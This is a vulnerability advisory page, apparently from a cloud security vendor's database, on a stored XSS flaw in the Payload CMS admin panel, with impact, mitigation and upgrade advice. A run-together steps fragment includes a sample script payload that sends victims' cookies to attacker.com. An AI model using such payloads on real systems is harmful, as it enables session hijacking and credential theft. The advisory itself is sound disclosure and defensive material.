
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-34748 is a stored Cross-Site Scripting (XSS) vulnerability in the admin panel of Payload CMS (@payloadcms/next npm package). An authenticated user with write access to a versioned collection can inject malicious content that executes in the browser of any other user who views it, including administrators. The vulnerability affects all Payload versions prior to v3.78.0 where at least one collection has versioning enabled. It was published on March 30, 2026, and carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Payload Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied content saved to versioned collections was rendered without proper output encoding, allowing it to be interpreted as HTML/JavaScript markup by the browser. An attacker with low-privilege authenticated access (only create or update permissions on a versioned collection) can craft a payload containing malicious script tags or event handlers and persist it in the CMS. The vulnerability is triggered when another user — including higher-privileged administrators — views the affected content in the admin panel, causing the injected script to execute in their browser context. The fix in v3.78.0 introduced output encoding to neutralize user-supplied content before rendering (GitHub Advisory, Payload Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the poisoned content, including administrators. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of the victim (such as creating admin accounts or modifying CMS content), and broader compromise of the CMS admin environment. Confidentiality and integrity impacts are rated High, while availability is unaffected (GitHub Advisory).
There is no public proof-of-concept exploit and no confirmed in-the-wild exploitation as of the time of reporting (GitHub Advisory). The EPSS score is approximately 0.032% (0.000320), placing it in a low percentile for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least create or update access to a versioned collection, and also requires a victim user to view the malicious content, making opportunistic mass exploitation less likely.
create or update permissions on at least one versioned collection in the target Payload CMS instance (version < 3.78.0).<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant, then save or submit the record.<script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded script content in text/rich-content fields within versioned collections.Upgrade the @payloadcms/next package to v3.78.0 or later, which introduces output encoding to prevent user-supplied content from being interpreted as markup (GitHub Advisory, Payload Advisory). For organizations unable to upgrade immediately, restrict create and update access to versioned collections to trusted roles only, reducing the attack surface by preventing untrusted authenticated users from injecting malicious content. Implementing a strict Content Security Policy (CSP) on the admin panel can also serve as a defense-in-depth measure to limit the impact of any XSS execution.
The vulnerability received coverage from The Hacker Wire and was tracked by several vulnerability aggregation platforms including CVEFeed, VulDB, and INCIBE-CERT shortly after disclosure (The Hacker Wire). Community discussion was noted on Bluesky via automated CVE tracking accounts. No major vendor statements beyond the official Payload CMS advisory or notable independent researcher commentary have been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."